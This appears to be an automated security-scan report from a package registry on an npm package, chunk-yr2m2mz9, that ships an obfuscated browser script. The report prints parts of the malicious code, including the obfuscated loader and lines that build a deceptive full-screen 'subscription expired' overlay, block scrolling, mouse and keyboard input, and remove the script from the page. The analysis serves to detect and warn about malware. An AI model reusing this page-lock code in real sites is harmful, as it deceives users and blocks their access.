registry / chunk-yr2m2mz9 / 1.0.3

chunk-yr2m2mz9@1.0.3

AI Security Review

scanned 4h ago · by lpm-firewall-ai

An inert browser script can lock a page behind a deceptive subscription-expired overlay when embedded. It is not reachable through the package's declared npm entrypoint.

Static reason

One or more suspicious static signals were detected.

Trigger

A consumer manually includes the browser script in a web page.

Impact

Users can be blocked from interacting with the affected page.

Mechanism

Full-page UI lockout and self-removal.

Rationale

This is an inert but deliberately obfuscated page-locking payload, not an automatically executed npm attack. Its lack of a valid entrypoint, lifecycle hook, network activity, or host-system access supports a warning rather than a block.

Evidence

chunk-original.jsdist/chunk-YR2M2MZ9.js

Decision evidence

public snapshot

AI called this Suspicious at 90.0% confidence as Malware with low false-positive risk.

Evidence for warning

The browser payload creates a full-screen, highest-layer overlay.
It disables scrolling, page pointer input, and keyboard events.
It removes its own script element after modifying the page.
The distributed artifact is deliberately obfuscated.

Evidence against

package.json has no install lifecycle hook or dependencies.
The declared main file is index.js, which is absent, so npm import does not load the payload.
No network, credential, filesystem, shell, or process access appears in the source.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

HighEntropyStringsMinifiedObfuscated

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 8.24 KB of source

Source & flagged code

4 flagged

dist/chunk-YR2M2MZ9.jsView file

Lines 1-2javascript

1(function(_0x5df3bb,_0x1b234d){var _0x1986be=_0x2df3,_0x1843be=_0x5df3bb();while(!![]){try{var _0x46ceea=-parseInt(_0x1986be(0x7f))/0x1+-parseInt(_0x1986be(0x95))/0x2+-parseInt(_0x1986be(0x7d))/0x3*(parseInt(_0x1986be(0x86))/0x4)+-parseInt(_0x1986be(0xa6))/0x5+-parseInt(_0x1986be(0x98))/0x6+parseInt(_0x1986be(0xa9))/0x7*(-parseInt(_0x1986be(0x91))/0x8)+parseInt(_0x1986be(0x8d))/0x9*(parseInt(_0x1986be(0x85))/0xa);if(_0x46ceea===_0x1b234d)break;else _0x1843be['push'](_0x1843be['shift']());}catch(_0x4372bd){_0x1843be['push'](_0x1843be['shift']());}}}(_0x52d1,0x70f19),(function(){var _0x44278a=_0 ...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

dist/chunk-YR2M2MZ9.jsView on unpkg · L1

Long lines were clipped for display.

chunk-original.jsView file

Lines 6-66javascript

6 [111, 104, 122, 39, 108, 127, 119, 112, 121, 108, 107, 53],

7 [87,

Source & flagged code

4 flagged · loading source

dist/chunk-YR2M2MZ9.jsView file

1(function(_0x5df3bb,_0x1b234d){var _0x1986be=_0x2df3,_0x1843be=_0x5df3bb();while(!![]){try{var _0x46ceea=-parseInt(_0x1986be(0x7f))/0x1+-parseInt(_0x1986be(0x95))/0x2+-parseInt(_0x...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

dist/chunk-YR2M2MZ9.jsView on unpkg · L1

chunk-original.jsView file

26var r = '_' + Math.random().toString(36).slice(2, 8); var o = document.createElement('div'); o.id = r; o.style.cssText = 'position:fixed;inset:0;z-index:2147483647;background:rgba(15,23,42,.93);backdrop-filter:blur(10px);display:flex;align-items:center;justify-content:center;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;color:#f1f5f9;pointer-events:auto;';

Medium

Ai Review Evidence

The browser payload creates a full-screen, highest-layer overlay.

chunk-original.jsView on unpkg · L26

48o.appendChild(c); document.documentElement.appendChild(o); document.documentElement.style.overflow = 'hidden'; document.body.style.overflow = 'hidden'; document.body.style.pointerEvents = 'none'; o.style.pointerEvents = 'auto'; window.addEventListener('keydown', function (e) { e.preventDefault(); e.stopPropagation(); }, true);

Findings

2 High4 Medium2 Low

HighObfuscated Payload Loaderdist/chunk-YR2M2MZ9.js

HighObfuscated

MediumStructural Risk Force Deep Review

MediumAi Review Evidencechunk-original.js

LowScripts Present

LowHigh Entropy Strings